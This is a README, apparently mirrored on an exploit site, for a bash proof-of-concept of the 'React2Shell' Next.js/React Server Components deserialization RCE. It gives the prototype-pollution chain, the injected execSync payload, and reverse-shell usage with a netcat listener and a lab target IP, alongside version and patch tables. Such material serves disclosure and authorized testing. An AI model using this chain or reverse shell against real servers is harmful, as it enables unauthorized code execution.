## https://sploitus.com/exploit?id=3C17E2A3-1DC0-5FD0-AB14-CF8300B758BF
# CVE-2025-66478 / CVE-2025-55182 ("React2Shell") — RSC Server Actions Deserialization RCE PoC
Proof-of-concept exploit for **CVE-2025-55182** — publicly nicknamed
**"React2Shell"** — a server-side prototype pollution vulnerability in
React Server Components' Server Actions deserialization
(`react-server-dom-webpack` / `-parcel` / `-turbopack`), which Next.js
tracked under the ID **CVE-2025-66478** (rejected by NVD as a duplicate,
but still the identifier commonly used when discussing the bug's impact
on Next.js specifically).
A single crafted multipart HTTP request pollutes `Object.prototype` and
walks the prototype chain to reach the `Function` constructor, letting an
unauthenticated attacker run arbitrary Node.js code in the server
process — CVSS **10/10**.
## Vulnerability details
**Root cause.** The RSC action-reply deserializer (`requireModule`)
resolves object paths sent by the client (e.g. `"$1:__proto__:then"`)
without validating that the target key isn't a reserved/dangerous one
like `__proto__`. Setting `__proto__` on a plain object pollutes
`Object.prototype` itself, so every object created afterwards inherits
the attacker-controlled property.
**Exploitation chain.**
1. `then` → `"$1:__proto__:then"` — reach into the prototype chain.
2. `_response._formData.get` → `"$1:constructor:constructor"` — walk
from the polluted prototype to the `Function` constructor.
3. `_response._prefix` — attacker-controlled string, spliced into code
that gets executed when the server tries to resolve the fabricated
"thenable" (a fake `Promise`-like object). This PoC sets it to
`process.mainModule.require('child_process').execSync('')`.
4. The payload is submitted as two multipart fields (`0`, `1`) in a
`POST` to the app root with a `Next-Action` header, which routes
the request straight into the vulnerable Server Actions handler.
**Affected versions** (per the [Datadog write-up](#references)):
| Library | Vulnerable | Patched |
|---|---|---|
| `react-server-dom-parcel` | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| `react-server-dom-webpack` | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| `react-server-dom-turbopack` | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
Next.js is affected on 15.x, 16.x, and 14.3.0-canary.77+ when using the
App Router. Patched in 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7,
and 16.0.7.
## Disclaimer
For authorized security testing and educational use only (e.g. CTF/HTB
labs, your own infrastructure, or engagements with written
authorization). Do not run this against systems you don't own or don't
have explicit permission to test.
## Requirements
- `curl`
- `bash`
- A listener on the attacker machine (e.g. `nc -lvnp `) unless you
supply your own command via `-c`
- Target must run `busybox nc` (or adjust `-c` to whatever shell utility
is available on the target) for the default reverse-shell command to
work
## Usage
```bash
chmod +x exploit.sh
./exploit.sh -t -L [options]
```
| Flag | Required | Description |
|------|----------|-------------|
| `-t, --target` | yes | Target host/IP running the vulnerable Next.js app |
| `-L, --lport` | yes* | Local port your listener is bound to |
| `-p, --port` | no | Target port (default: `3000`) |
| `-l, --lhost` | no | Your IP for the callback (default: auto-detected) |
| `-i, --iface` | no | Interface to auto-detect `--lhost` from |
| `-c, --command` | no | Custom command to run on target (overrides the default reverse shell) |
| `--timeout` | no | curl request timeout in seconds (default: `3`) |
| `-v, --verbose` | no | Print request/response details |
| `-h, --help` | no | Show help |
\* not required if `-c/--command` is supplied instead.
## Example
```bash
# 1) start a listener
rlwrap nc -lvnp 9090
# 2) trigger the exploit
./exploit.sh -t 10.129.245.214 -L 9090
```
## References
- [CVE-2025-55182 "React2Shell": Remote Code Execution in React Server Components — Datadog Security Labs](https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/)